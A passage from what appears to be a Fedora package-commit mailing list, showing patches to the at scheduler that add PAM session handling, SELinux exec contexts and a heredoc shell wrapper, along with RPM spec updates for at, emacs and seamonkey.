@@ -236,7 +228,7 @@ run_file(const char *filename, uid_t uid
     char queue;
     char fmt[64];
     unsigned long jobno;
-#ifdef HAVE_PAM
+#ifdef WITH_PAM
     int retcode;
 #endif
 
@@ -396,16 +388,11 @@ run_file(const char *filename, uid_t uid
     fstat(fd_out, &buf);
     size = buf.st_size;
 
-#ifdef HAVE_PAM
+#ifdef WITH_PAM
     PRIV_START
-    retcode = pam_start("atd", pentry->pw_name, &conv, &pamh);
-    PAM_FAIL_CHECK;
-    retcode = pam_acct_mgmt(pamh, PAM_SILENT);
-    PAM_FAIL_CHECK;
-    retcode = pam_open_session(pamh, PAM_SILENT);
-    PAM_FAIL_CHECK;
-    retcode = pam_setcred(pamh, PAM_ESTABLISH_CRED | PAM_SILENT);
-    PAM_FAIL_CHECK;
+    PAM_HANDLING;
+    closelog(); 
+    openlog("atd", LOG_PID, LOG_ATD);
     PRIV_END
 #endif
 
@@ -420,7 +407,15 @@ run_file(const char *filename, uid_t uid
     else if (pid == 0) {
 	char *nul = NULL;
 	char **nenvp = &nul;
+	char **pam_envp=0L;
 
+	PRIV_START
+#ifdef WITH_PAM
+	pam_envp = pam_getenvlist(pamh);
+	if ( ( pam_envp != 0L ) && (pam_envp[0] != 0L) )
+		nenvp = pam_envp;
+#endif
+	PRIV_END
 	/* Set up things for the child; we want standard input from the
 	 * input file, and standard output and error sent to our output file.
 	 */
@@ -461,7 +456,16 @@ run_file(const char *filename, uid_t uid
 
 	    if (execle("/bin/sh", "sh", (char *) NULL, nenvp) != 0)
 		perr("Exec failed for /bin/sh");
-
+#ifdef  WITH_PAM
+	    if ( ( nenvp != &nul ) && (pam_envp != 0L)  && (*pam_envp != 0L))
+	    {
+		for( nenvp = pam_envp; *nenvp != 0L; nenvp++)
+			free(*nenvp);
+		free( pam_envp );
+		nenvp = &nul;
+		pam_envp=0L;
+	    }
+#endif
 	PRIV_END
     }
     /* We're the parent.  Let's wait.
@@ -475,7 +479,7 @@ run_file(const char *filename, uid_t uid
      */
     waitpid(pid, (int *) NULL, 0);
 
-#ifdef HAVE_PAM
+#ifdef WITH_PAM
     PRIV_START
 	pam_setcred(pamh, PAM_DELETE_CRED | PAM_SILENT);
 	retcode = pam_close_session(pamh, PAM_SILENT);
@@ -490,6 +494,13 @@ run_file(const char *filename, uid_t uid
     if (open(filename, O_RDONLY) != STDIN_FILENO)
 	perr("Open of jobfile failed");
 
+#ifdef  WITH_PAM
+    pam_setcred(pamh, PAM_DELETE_CRED | PAM_SILENT );
+    pam_close_session(pamh, PAM_SILENT);
+    pam_end(pamh, PAM_ABORT);
+    closelog();
+    openlog("atd", LOG_PID, LOG_ATD);
+#endif
     unlink(filename);
 
     /* The job is now finished.  We can delete its input file.
@@ -498,8 +509,19 @@ run_file(const char *filename, uid_t uid
     unlink(newname);
     free(newname);
 
+#ifdef ATD_MAIL_PROGRAM
     if (((send_mail != -1) && (buf.st_size != size)) || (send_mail == 1)) {
+       int mail_pid = -1;
+#ifdef WITH_PAM
+       PAM_HANDLING;
+       closelog();
+       openlog("atd", LOG_PID, LOG_ATD);
+#endif
 
+   mail_pid = fork();
+
+   if ( mail_pid == 0 )
+   {
 	PRIV_START
 
 	    if (initgroups(pentry->pw_name, pentry->pw_gid))
@@ -513,15 +535,28 @@ run_file(const char *filename, uid_t uid
 
 	    chdir ("/");
 
-#if defined(SENDMAIL)
-	    execl(SENDMAIL, "sendmail", mailname, (char *) NULL);
-#else
-	    perr("No mail command specified.");
-#endif
+           execl(ATD_MAIL_PROGRAM, ATD_MAIL_NAME, mailname, (char *) NULL);
 	    perr("Exec failed for mail command");
+	    exit(-1);
 
 	PRIV_END
+   }
+   else if ( mail_pid == -1 ) {
+           perr("fork of mailer failed");
+   }
+   else {
+           /* Parent */
+           waitpid(mail_pid, (int *) NULL, 0);
+   }
+#ifdef WITH_PAM
+   pam_setcred(pamh, PAM_DELETE_CRED | PAM_SILENT );
+   pam_close_session(pamh, PAM_SILENT);
+   pam_end(pamh, PAM_ABORT);
+   closelog();
+   openlog("atd", LOG_PID, LOG_ATD);
+#endif
     }
+#endif
     exit(EXIT_SUCCESS);
 }
 
diff -up at-3.1.11/config.h.in.pam2 at-3.1.11/config.h.in
--- at-3.1.11/config.h.in.pam2	2009-08-14 18:49:05.000000000 +0200
+++ at-3.1.11/config.h.in	2009-10-13 16:47:23.323393602 +0200
@@ -74,8 +74,8 @@
 /* Define to 1 if you have the <nlist.h> header file. */
 #undef HAVE_NLIST_H
 
-/* Define to 1 for PAM support */
-#undef HAVE_PAM
+/* Define if you are building with_pam */
+#undef WITH_PAM
 
 /* Define to 1 if you have the `pstat_getdynamic' function. */
 #undef HAVE_PSTAT_GETDYNAMIC
diff -up at-3.1.11/configure.ac.pam2 at-3.1.11/configure.ac
--- at-3.1.11/configure.ac.pam2	2009-10-13 16:47:23.266377946 +0200
+++ at-3.1.11/configure.ac	2009-10-13 16:47:23.324393260 +0200
@@ -84,7 +84,7 @@ AC_FUNC_GETLOADAVG
 AC_CHECK_FUNCS(getcwd mktime strftime setreuid setresuid sigaction waitpid)
 AC_CHECK_HEADERS(security/pam_appl.h, [
   PAMLIB="-lpam"
-  AC_DEFINE(HAVE_PAM, 1, [Define to 1 for PAM support])
+  AC_DEFINE(WITH_PAM, 1, [Define to 1 for PAM support])
 ])
 
 dnl Checking for programs
@@ -301,5 +301,12 @@ AC_ARG_WITH(daemon_groupname,
 )
 AC_SUBST(DAEMON_GROUPNAME)
 
+AC_ARG_WITH(pam,
+[ --with-pam            Define to enable pam support ],
+AC_DEFINE(WITH_PAM),
+)
+AC_CHECK_LIB(pam, pam_start, PAMLIB='-lpam -lpam_misc')
+AC_SUBST(PAMLIB)
+
 AC_CONFIG_FILES(Makefile atrun atd.8 atrun.8 at.1 batch)
 AC_OUTPUT
diff -up at-3.1.11/perm.c.pam2 at-3.1.11/perm.c
--- at-3.1.11/perm.c.pam2	2009-08-14 18:49:05.000000000 +0200
+++ at-3.1.11/perm.c	2009-10-13 16:47:23.325392918 +0200
@@ -51,6 +51,14 @@
 #define PRIV_END while(0)
 #endif
 
+#ifdef WITH_PAM
+#include <security/pam_appl.h>
+static pam_handle_t *pamh = NULL;
+static const struct pam_conv conv = {
+       NULL
+};
+#endif
+
 /* Structures and unions */
 
 
@@ -108,18 +116,53 @@ user_in_file(const char *path, const cha
 int
 check_permission()
 {
-  uid_t uid = geteuid();
+  uid_t euid = geteuid(), uid=getuid(), egid=getegid(), gid=getgid();
   struct passwd *pentry;
   int    allow = 0, deny = 1;
 
-  if (uid == 0)
+  int    retcode = 0;
+  if (euid == 0)
     return 1;
 
-  if ((pentry = getpwuid(uid)) == NULL) {
+  if ((pentry = getpwuid(euid)) == NULL) {
     perror("Cannot access user database");
     exit(EXIT_FAILURE);
   }
 
+#ifdef  WITH_PAM
+/*
+ *  We must check if the atd daemon userid will be allowed to gain the job owner user's
+ *  credentials with PAM . If not, the user has been denied at(1) usage, eg. with pam_access.
+ */
+  if (setreuid(daemon_uid, daemon_uid) != 0) {
+      fprintf(stderr, "cannot set egid: %s", strerror(errno));
+      exit(1);
+  }
+  if (setregid(daemon_gid, daemon_gid) != 0) {
+      fprintf(stderr, "cannot set euid: %s", strerror(errno));
+      exit(1);
+  }
+
+    pam_close_session(pamh,PAM_SILENT);
+
+    PAM_HANDLING;
+
+    pam_setcred(pamh, PAM_DELETE_CRED | PAM_SILENT );
+    pam_close_session(pamh,PAM_SILENT);
+    pam_end(pamh, PAM_ABORT);
+
+    if (setregid(gid,egid) != 0) {
+        fprintf(stderr, "cannot set egid: %s", strerror(errno));
+        exit(1);
+    }
+    if (setreuid(uid,euid) != 0) {
+        fprintf(stderr, "cannot set euid: %s", strerror(errno));
+        exit(1);
+    }
+
+
+#endif
+
   allow = user_in_file(ETCDIR "/at.allow", pentry->pw_name);
   if (allow==0 || allow==1)
     return allow;
diff -up at-3.1.11/privs.h.pam2 at-3.1.11/privs.h
--- at-3.1.11/privs.h.pam2	2009-08-14 18:49:05.000000000 +0200
+++ at-3.1.11/privs.h	2009-10-13 16:47:23.326393135 +0200
@@ -144,3 +144,60 @@ extern gid_t real_gid, effective_gid, da
 #error "Cannot implement user ID swapping without setreuid or setresuid"
 #endif
 #endif
+
+#ifdef WITH_PAM
+/* PAM failed after session was open.  */
+#define PAM_SESSION_FAIL if (retcode != PAM_SUCCESS) \
+	pam_close_session(pamh,PAM_SILENT);
+
+/* syslog will be logging error messages */
+#ifdef HAVE_UNISTD_H
+#include <syslog.h>
+#endif
+
+/* PAM fail even before opening the session */
+#define PAM_FAIL_CHECK \
+	do { if (retcode != PAM_SUCCESS) { \
+		fprintf(stderr,"PAM failure: %s\n",pam_strerror(pamh, retcode)); \
+		syslog(LOG_ERR,"%s",pam_strerror(pamh, retcode)); \
+		if (pamh) \
+		    pam_end(pamh, retcode); \
+		if (setregid(getgid(),getegid()) != 0) { \
+		    fprintf(stderr, "cannot set egid: %s", strerror(errno)); \
+		    exit(1); \
+		} \
+		if (setreuid(getuid(),geteuid()) != 0) { \
+		    fprintf(stderr, "cannot set euid: %s", strerror(errno)); \
+		    exit(1); \
+		} \
+		exit(1); \
+	    } \
+	} while (0) \
+
+/* PAM - check after every operation whether they passed */
+#define PAM_HANDLING \
+	do { pamh = NULL; \
+	retcode = pam_start("atd", pentry->pw_name, &conv, &pamh); \
+	PAM_FAIL_CHECK; \
+	retcode = pam_set_item(pamh, PAM_TTY, "atd"); \
+	PAM_FAIL_CHECK; \
+	retcode = pam_acct_mgmt(pamh, PAM_SILENT); \
+	PAM_FAIL_CHECK; \
+	retcode = pam_open_session(pamh, PAM_SILENT); \
+	PAM_FAIL_CHECK; \
+	retcode = pam_setcred(pamh, PAM_ESTABLISH_CRED | PAM_SILENT); \
+	PAM_SESSION_FAIL; \
+	PAM_FAIL_CHECK; \
+	} while (0)
+
+/* OLD FAIL_CHECK ONLY FOR perm.c
+ * define PAM_FAIL_CHECK if (retcode != PAM_SUCCESS) { \
+ *         fprintf(stderr,"\nPAM failure %s\n",pam_strerror(pamh, retcode)); \
+ *         syslog(LOG_ERR,"%s",pam_strerror(pamh, retcode)); \
+ *         if (pamh) \
+ *               pam_end(pamh, retcode); \
+ *         exit(1); \
+ * }
+ */
+
+#endif

at-3.1.11-selinux.patch:
 Makefile.in  |    1 
 atd.c        |   95 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 config.h.in  |    3 +
 configure.ac |    8 ++++
 4 files changed, 107 insertions(+)

--- NEW FILE at-3.1.11-selinux.patch ---
diff -up at-3.1.11/atd.c.selinux at-3.1.11/atd.c
--- at-3.1.11/atd.c.selinux	2009-10-05 12:56:24.573344967 +0200
+++ at-3.1.11/atd.c	2009-10-05 13:01:55.991338568 +0200
@@ -74,6 +74,14 @@
 #include <syslog.h>
 #endif
 
+#ifdef WITH_SELINUX
+#include <selinux/selinux.h>
+#include <selinux/get_context_list.h>
+int selinux_enabled=0;
+#include <selinux/flask.h>
+#include <selinux/av_permissions.h>
+#endif
+
 /* Local headers */
 
 #include "privs.h"
@@ -204,6 +212,68 @@ myfork()
 #define ATD_MAIL_NAME    "mailx"
 #endif
 
+#ifdef WITH_SELINUX
+static int set_selinux_context(const char *name, const char *filename) {
+	security_context_t user_context=NULL;
+	security_context_t  file_context=NULL;
+	struct av_decision avd;
+	int retval=-1;
+	char *seuser=NULL;
+	char *level=NULL;
+
+	if (getseuserbyname(name, &seuser, &level) == 0) {
+		retval=get_default_context_with_level(seuser, level, NULL, &user_context);
+		free(seuser);
+		free(level);
+		if (retval) {
+			if (security_getenforce()==1) {
+				perr("execle: couldn't get security context for user %s\n", name);
+			} else {
+				syslog(LOG_ERR, "execle: couldn't get security context for user %s\n", name);
+				return -1;
+			}
+		}
+	}
+
+	/*
+	* Since crontab files are not directly executed,
+	* crond must ensure that the crontab file has
+	* a context that is appropriate for the context of
+	* the user cron job.  It performs an entrypoint
+	* permission check for this purpose.
+	*/
+	if (fgetfilecon(STDIN_FILENO, &file_context) < 0)
+		perr("fgetfilecon FAILED %s", filename);
+
+	retval = security_compute_av(user_context,
+                                    file_context,
+                                    SECCLASS_FILE,
+                                    FILE__ENTRYPOINT,
+                                    &avd);
+	freecon(file_context);
+	if (retval || ((FILE__ENTRYPOINT & avd.allowed) != FILE__ENTRYPOINT)) {
+		if (security_getenforce()==1) {
+			perr("Not allowed to set exec context to %s for user  %s\n", user_context,name);
+		} else {
+			syslog(LOG_ERR, "Not allowed to set exec context to %s for user  %s\n", user_context,name);
+			retval = -1;
+			goto err;
+		}
+	}
+	if (setexeccon(user_context) < 0) {
+		if (security_getenforce()==1) {
+			perr("Could not set exec context to %s for user  %s\n", user_context,name);
+			retval = -1;
+		} else {
+			syslog(LOG_ERR, "Could not set exec context to %s for user  %s\n", user_context,name);
+		}
+	}
+  err:
+	freecon(user_context);
+	return 0;
+}
+#endif
+
 static void
 run_file(const char *filename, uid_t uid, gid_t gid)
 {
@@ -454,6 +524,13 @@ run_file(const char *filename, uid_t uid
 
 	    chdir("/");
 
+#ifdef WITH_SELINUX
+           if (selinux_enabled > 0) {
+               if (set_selinux_context(pentry->pw_name, filename) < 0)
+                       perr("SELinux Failed to set context\n");
+           }
+#endif
+
 	    if (execle("/bin/sh", "sh", (char *) NULL, nenvp) != 0)
 		perr("Exec failed for /bin/sh");
 #ifdef  WITH_PAM
@@ -535,10 +612,24 @@ run_file(const char *filename, uid_t uid
 
 	    chdir ("/");
 
+#ifdef WITH_SELINUX
+           if (selinux_enabled>0) {
+               if (set_selinux_context(pentry->pw_name, filename) < 0)
+                   perr("SELinux Failed to set context\n");
+           }
+#endif
+
            execl(ATD_MAIL_PROGRAM, ATD_MAIL_NAME, mailname, (char *) NULL);
 	    perr("Exec failed for mail command");
 	    exit(-1);
 
+#ifdef WITH_SELINUX
+           if (selinux_enabled>0)
+               if (setexeccon(NULL) < 0)
+                   if (security_getenforce()==1)
+                       perr("Could not reset exec context for user %s\n", pentry->pw_name);
+#endif
+
 	PRIV_END
    }
    else if ( mail_pid == -1 ) {
@@ -754,6 +845,10 @@ main(int argc, char *argv[])
     struct passwd *pwe;
     struct group *ge;
 
+#ifdef WITH_SELINUX
+    selinux_enabled=is_selinux_enabled();
+#endif
+
 /* We don't need root privileges all the time; running under uid and gid
  * daemon is fine.
  */
diff -up at-3.1.11/config.h.in.selinux at-3.1.11/config.h.in
--- at-3.1.11/config.h.in.selinux	2009-10-05 12:56:24.573344967 +0200
+++ at-3.1.11/config.h.in	2009-10-05 12:56:24.590350404 +0200
@@ -77,6 +77,9 @@
 /* Define if you are building with_pam */
 #undef WITH_PAM
 
+/* Define if you are building with_selinux  */
+#undef WITH_SELINUX
+
 /* Define to 1 if you have the `pstat_getdynamic' function. */
 #undef HAVE_PSTAT_GETDYNAMIC
 
diff -up at-3.1.11/configure.ac.selinux at-3.1.11/configure.ac
--- at-3.1.11/configure.ac.selinux	2009-10-05 12:56:24.574344835 +0200
+++ at-3.1.11/configure.ac	2009-10-05 12:56:24.591350062 +0200
@@ -308,5 +308,13 @@ AC_DEFINE(WITH_PAM),
 AC_CHECK_LIB(pam, pam_start, PAMLIB='-lpam -lpam_misc')
 AC_SUBST(PAMLIB)
 
+AC_ARG_WITH(selinux,
+[ --with-selinux       Define to run with selinux],
+AC_DEFINE(WITH_SELINUX),
+)
+AC_CHECK_LIB(selinux, is_selinux_enabled, SELINUXLIB=-lselinux)
+AC_SUBST(SELINUXLIB)
+AC_SUBST(WITH_SELINUX)
+
 AC_CONFIG_FILES(Makefile atrun atd.8 atrun.8 at.1 batch)
 AC_OUTPUT
diff -up at-3.1.11/Makefile.in.selinux at-3.1.11/Makefile.in
--- at-3.1.11/Makefile.in.selinux	2009-10-05 12:56:24.509607000 +0200
+++ at-3.1.11/Makefile.in	2009-10-05 12:56:24.592345179 +0200
@@ -39,6 +39,7 @@ LIBS		= @LIBS@
 LIBOBJS		= @LIBOBJS@
 INSTALL		= @INSTALL@
 PAMLIB          = @PAMLIB@
+SELINUXLIB	= @SELINUXLIB@
 
 CLONES		= atq atrm 
 ATOBJECTS	= at.o panic.o perm.o posixtm.o y.tab.o lex.yy.o

at-3.1.11-shell.patch:
 at.c |   15 +++++++++++----
 1 file changed, 11 insertions(+), 4 deletions(-)

--- NEW FILE at-3.1.11-shell.patch ---
diff -up at-3.1.11/at.c.shell at-3.1.11/at.c
--- at-3.1.11/at.c.shell	2009-08-14 18:49:05.000000000 +0200
+++ at-3.1.11/at.c	2009-09-29 15:50:34.786919463 +0200
@@ -62,11 +62,8 @@
 #include <stdlib.h>
 #include <string.h>
 
-#ifdef TM_IN_SYS_TIME
 #include <sys/time.h>
-#else
 #include <time.h>
-#endif
 
 #ifdef HAVE_UNISTD_H
 #include <unistd.h>
@@ -241,6 +238,12 @@ writefile(time_t runtimer, char queue)
     int kill_errno;
     int rc;
     int mailsize = 128;
+    struct timeval tv;
+    struct timezone tz;
+    long int i;
+
+    gettimeofday(&tv, &tz);
+    srandom(getpid()+tv.tv_usec);
 
 /* Install the signal handler for SIGINT; terminate after removing the
  * spool file if necessary
@@ -458,6 +461,9 @@ writefile(time_t runtimer, char queue)
     fprintf(fp, " || {\n\t echo 'Execution directory "
 	    "inaccessible' >&2\n\t exit 1\n}\n");
 
+    i = random();
+    fprintf(fp, "${SHELL:-/bin/sh} << marcinDELIMITER%08lx\n", i);
+
     istty = isatty(fileno(stdin));
     if (istty) {
 	fprintf(stderr, "at> ");
@@ -474,6 +480,7 @@ writefile(time_t runtimer, char queue)
 	fprintf(stderr, "<EOT>\n");
     }
     fprintf(fp, "\n");
+    fprintf(fp, "marcinDELIMITER%08lx\n", i);
     if (ferror(fp))
 	panic("Output error");
 
@@ -924,7 +931,7 @@ main(int argc, char **argv)
 	   It also alows a warning diagnostic to be printed.  Because of the
 	   possible variance, we always output the diagnostic. */
 
-	fprintf(stderr, "warning: commands will be executed using /bin/sh\n");
+	//fprintf(stderr, "warning: commands will be executed using /bin/sh\n");
 
 	writefile(timer, queue);
 	break;


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/at/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	1 Jun 2009 11:47:21 -0000	1.8
+++ .cvsignore	14 Oct 2009 11:48:03 -0000	1.9
@@ -3,3 +3,4 @@ at_3.1.10.tar.gz
 atd.init
 atd.sysconf
 test.pl
+at_3.1.11.orig.tar.gz


Index: at.spec
===================================================================
RCS file: /cvs/pkgs/rpms/at/devel/at.spec,v
retrieving revision 1.79
retrieving revision 1.80
diff -u -p -r1.79 -r1.80
--- at.spec	29 Sep 2009 08:22:12 -0000	1.79
+++ at.spec	14 Oct 2009 11:48:03 -0000	1.80
@@ -1,42 +1,30 @@
-%define major_ver 3.1.10
+%define major_ver 3.1.11
 
 %if %{?WITH_PAM:0}%{!?WITH_PAM:1}
 %define WITH_PAM 1
 %endif
 Summary: Job spooling tools
 Name: at
-Version: 3.1.10
-Release: 38%{?dist}
+Version: %{major_ver}
+Release: 1%{dist}
 License: GPLv2+
 Group: System Environment/Daemons
 URL: http://ftp.debian.org/debian/pool/main/a/at
-Source: http://ftp.debian.org/debian/pool/main/a/at/at_%{major_ver}.tar.gz
+Source: http://ftp.debian.org/debian/pool/main/a/at/at_%{major_ver}.orig.tar.gz
 Source1: test.pl
 Source2: atd.init
 Source3: atd.sysconf
 Source4: 56atd
-Patch0: at-3.1.7-lockfile.patch
-Patch1: at-3.1.10-makefile.patch
-Patch2: at-3.1.10-man-timespec-path.patch
-Patch3: at-3.1.7-sigchld.patch
-Patch4: at-3.1.10-typo.patch
-Patch5: at-3.1.8-perr.patch
-Patch6: at-3.1.10-shell.patch
-Patch7: at-3.1.8-t_option.patch
-Patch8: at-3.1.10-pam.patch
-Patch9: at-3.1.10-dont_fork.patch
-Patch10: at-3.1.10-perm.patch
-Patch11: at-3.1.10-opt_V.patch
-Patch12: at-3.1.10-session.patch
-Patch13: at-3.1.10-havepam.patch
-# included in another pam patch
-#Patch14: at-3.1.10-pam_keyring.patch
-Patch15: at-3.1.10-PIE.patch
-Patch16: at-3.1.10-pamfix.patch
-Patch17: at-3.1.10-nonposix.patch
-Patch18: at-3.1.10-selinux_mail.patch
-Patch19: at-3.1.10-man_hyphen.patch
-Patch20: at-3.1.10-different_shell.patch
+
+Patch1: at-3.1.11-makefile.patch
+Patch2: at-3.1.11-nitpicks.patch
+Patch3: at-3.1.11-shell.patch
+Patch4: at-3.1.11-opt_V.patch
+Patch5: at-3.1.11-dont_fork.patch
+Patch6: at-3.1.11-log.patch
+Patch7: at-3.1.11-pam.patch
+Patch8: at-3.1.11-pam2.patch
+Patch9: at-3.1.11-selinux.patch
 
 BuildRequires: fileutils chkconfig /etc/init.d
 BuildRequires: flex bison autoconf
@@ -54,48 +42,31 @@ Buildroot: %{_tmppath}/%{name}-%{version
 At and batch read commands from standard input or from a specified
 file. At allows you to specify that a command will be run at a
 particular time. Batch will execute commands when the system load
-levels drop to a particular level. Both commands use /bin/sh.
+levels drop to a particular level. Both commands use user's shell.
 
 You should install the at package if you need a utility for
 time-oriented job control. Note: If it is a recurring job that will
 need to be repeated at the same time every day/week, etc. you should
 use crontab instead.
 
-#%{?_without_check: %define _without_check 1}
-#%{!?_without_check: %define _without_check 1}
-#%{!?_without_check: %define _without_check 0}
-# FIX THIS!
-
 %prep
 %setup -q
 
 cp %{SOURCE1} .
-%patch0 -p1 -b .lockfile
 %patch1 -p1 -b .make
-%patch2 -p1 -b .paths
-%patch3 -p1 -b .sigchld
-%patch4 -p1 -b .typo
-%patch5 -p1 -b .perr
-%patch6 -p1 -b .shell
-%patch7 -p1 -b .t_option
-%patch8 -p1 -b .pam
-%patch9 -p1 -b .dont_fork
-%patch10 -p1 -b .perm
-%patch11 -p1 -b .opt_V
-%patch12 -p1 -b .session
-%patch13 -p1 -b .havepam
-##%patch14 -p1 -b .pamkeyring
-%patch15 -p1 -b .PIE
-%patch16 -p1 -b .pamfix
-%patch17 -p1 -b .nonposix
-%patch18 -p1 -b .mailselinux
-%patch19 -p1 -b .hyphen
-%patch20 -p1 -b .fix
+%patch2 -p1 -b .typo
+%patch3 -p1 -b .shell
+%patch4 -p1 -b .opt_V
+%patch5 -p1 -b .dont_fork
+%patch6 -p1 -b .log
+%patch7 -p1 -b .pam
+%patch8 -p1 -b .pam2
+%patch9 -p1 -b .selinux
 
 %build
-# patch10 touches configure.in
+# patch9 touches configure.in
 autoconf
-# for patch11
+# uselles files
 rm -f lex.yy.* y.tab.*
 %configure --with-atspool=%{_localstatedir}/spool/at/spool \
 	--with-jobdir=%{_localstatedir}/spool/at \
@@ -179,25 +150,27 @@ fi
 %files
 %defattr(-,root,root,-)
 %doc docs/*
-%config(noreplace) %{_sysconfdir}/at.deny
+%config(noreplace)		%{_sysconfdir}/at.deny
+%config(noreplace)		%{_sysconfdir}/sysconfig/atd
 %attr(0755,root,root)		%{_sysconfdir}/rc.d/init.d/atd
-%attr(0644,root,root)		%{_sysconfdir}/sysconfig/atd
 %attr(0700,daemon,daemon)	%dir %{_localstatedir}/spool/at
 %attr(0600,daemon,daemon)	%verify(not md5 size mtime) %ghost %{_localstatedir}/spool/at/.SEQ
 %attr(0700,daemon,daemon)	%dir %{_localstatedir}/spool/at/spool
-%attr(0640,root,daemon)	%config(noreplace) /etc/pam.d/atd
+%attr(0640,root,daemon)		%config(noreplace) /etc/pam.d/atd
 %{_sbindir}/atrun
-%attr(0755,root,root)	%{_sbindir}/atd
+%attr(0755,root,root)		%{_sbindir}/atd
 %{_mandir}/man*/*
 %{_bindir}/batch
 %{_bindir}/atrm
 %{_bindir}/atq
-%attr(4755,root,root)	%{_bindir}/at
-%attr(0755,root,root)	%{_libdir}/pm-utils/sleep.d/56atd
+%attr(4755,root,root)		%{_bindir}/at
+%attr(0755,root,root)		%{_libdir}/pm-utils/sleep.d/56atd
 
 %changelog
-* Tue Sep 29 2009 Tomas Mraz <tmraz at redhat.com> 3.1.10-38
-- authentication PAM modules have to be configured for pam_setcred()
+* Tue Oct 13 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 3.1.11-1
+- 528582 add noreplace option into files section
+- rewrite pam2 patch - check return value, use "better" macro, etc.
+- new version of at
 
 * Wed Sep 16 2009 Tomas Mraz <tmraz at redhat.com> 3.1.10-37
 - improve the PAM configuration, use password-auth common stack


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/at/devel/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	1 Jun 2009 11:47:22 -0000	1.8
+++ sources	14 Oct 2009 11:48:03 -0000	1.9
@@ -3,3 +3,4 @@
 b117781fd68e393443b2a8e478c7c22f  atd.init
 ac1471fe22f63f666dc7d31173f47ea0  atd.sysconf
 67aece5997fbe1f93072e0afd69e5280  test.pl
+d5832d9b770f41db78020b92f80966d3  at_3.1.11.orig.tar.gz



From dnovotny at fedoraproject.org  Wed Oct 14 12:18:40 2009
From: dnovotny at fedoraproject.org (Daniel Novotny)
Date: Wed, 14 Oct 2009 12:18:40 +0000 (UTC)
Subject: rpms/emacs/devel emacs.spec,1.141,1.142
Message-ID: <20091014121840.4BD9911C00E5@cvs1.fedora.phx.redhat.com>

Author: dnovotny

Update of /cvs/extras/rpms/emacs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29288

Modified Files:
	emacs.spec 
Log Message:
 do not compress the files which implement compression itself (#484830)



Index: emacs.spec
===================================================================
RCS file: /cvs/extras/rpms/emacs/devel/emacs.spec,v
retrieving revision 1.141
retrieving revision 1.142
diff -u -p -r1.141 -r1.142
--- emacs.spec	13 Oct 2009 23:22:45 -0000	1.141
+++ emacs.spec	14 Oct 2009 12:18:40 -0000	1.142
@@ -4,7 +4,7 @@ Summary: GNU Emacs text editor
 Name: emacs
 Epoch: 1
 Version: 23.1
-Release: 11%{?dist}
+Release: 12%{?dist}
 License: GPLv3+
 URL: http://www.gnu.org/software/emacs/
 Group: Applications/Editors
@@ -33,7 +33,7 @@ Buildroot: %{_tmppath}/%{name}-%{version
 BuildRequires: atk-devel, cairo-devel, desktop-file-utils, freetype-devel, fontconfig-devel, dbus-devel, giflib-devel, glibc-devel, gtk2-devel, libpng-devel
 BuildRequires: libjpeg-devel, libtiff-devel, libX11-devel, libXau-devel, libXdmcp-devel, libXrender-devel, libXt-devel
 BuildRequires: libXpm-devel, ncurses-devel, xorg-x11-proto-devel, zlib-devel
-BuildRequires: autoconf, automake, bzip2, cairo, texinfo
+BuildRequires: autoconf, automake, bzip2, cairo, texinfo, gzip
 %ifarch %{ix86}
 BuildRequires: setarch
 %endif
@@ -208,6 +208,10 @@ make install INSTALL="%{__install} -p" D
 # let alternatives manage the symlink
 rm %{buildroot}%{_bindir}/emacs
 
+# do not compress the files which implement compression itself (#484830)
+gunzip %{buildroot}%{_datadir}/emacs/%{version}/lisp/jka-compr.el.gz
+gunzip %{buildroot}%{_datadir}/emacs/%{version}/lisp/jka-cmpr-hook.el.gz
+
 # rebuild without X support
 # remove the versioned binary with X support so that we end up with .1 suffix for emacs-nox too
 rm src/emacs-%{version}.*
@@ -382,6 +386,9 @@ alternatives --install %{_bindir}/etags 
 %dir %{_datadir}/emacs/%{version}
 
 %changelog
+* Wed Oct 14 2009 Daniel Novotny <dnovotny at redhat.com> 1:23.1-12
+- do not compress the files which implement compression itself (#484830)
+
 * Wed Oct 14 2009 Jonathan G. Underwood <jonathan.underwood at gmail.com> - 1:23.1-11
 - Update macros.xemacs to treat epoch correctly and be consistent with xemacs package
 - Use site_start_d macro consistently



From stransky at fedoraproject.org  Wed Oct 14 12:19:13 2009
From: stransky at fedoraproject.org (Martin Stransky)
Date: Wed, 14 Oct 2009 12:19:13 +0000 (UTC)
Subject: rpms/seamonkey/devel seamonkey.spec, 1.63, 1.64 sources, 1.29,
	1.30 seamonkey-2.0-hunspell.patch, 1.1, NONE
Message-ID: <20091014121913.56BCF11C00E5@cvs1.fedora.phx.redhat.com>

Author: stransky

Update of /cvs/pkgs/rpms/seamonkey/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29585

Modified Files:
	seamonkey.spec sources 
Removed Files:
	seamonkey-2.0-hunspell.patch 
Log Message:
Update to RC1


Index: seamonkey.spec
===================================================================
RCS file: /cvs/pkgs/rpms/seamonkey/devel/seamonkey.spec,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- seamonkey.spec	23 Sep 2009 13:20:35 -0000	1.63
+++ seamonkey.spec	14 Oct 2009 12:19:12 -0000	1.64
@@ -5,26 +5,26 @@
 %define minimum_build_nspr_version 4.7.2
 %define minimum_build_nss_version 3.12
 
-%define prerelease_tag b2
+%define prerelease_tag rc1
 
 %define build_langpacks 1
 
 %define _unpackaged_files_terminate_build 0
 %define builddir %{_builddir}/%{name}-%{version}
-%define mozdir %{_libdir}/seamonkey-%{version}%{?prerelease_tag}
+%define mozdir %{_libdir}/seamonkey-%{version}
 %define sources_subdir comm-central
 
 
 Name:           seamonkey
 Summary:        Web browser, e-mail, news, IRC client, HTML editor
 Version:        2.0
-Release:        3.beta2%{?dist}
+Release:        4%{?dist}
 URL:            http://www.mozilla.org/projects/seamonkey/
 License:        MPLv1.1
 Group:          Applications/Internet
 
 Source0:        seamonkey-%{version}%{?prerelease_tag}.source.tar.bz2
-Source1:        seamonkey-langpacks-%{version}%{?prerelease_tag}-20090923.tar.bz2
+Source1:        seamonkey-langpacks-%{version}-20090923.tar.bz2
 Source2:        seamonkey-icon.png
 Source3:        seamonkey.sh.in
 Source4:        seamonkey.desktop
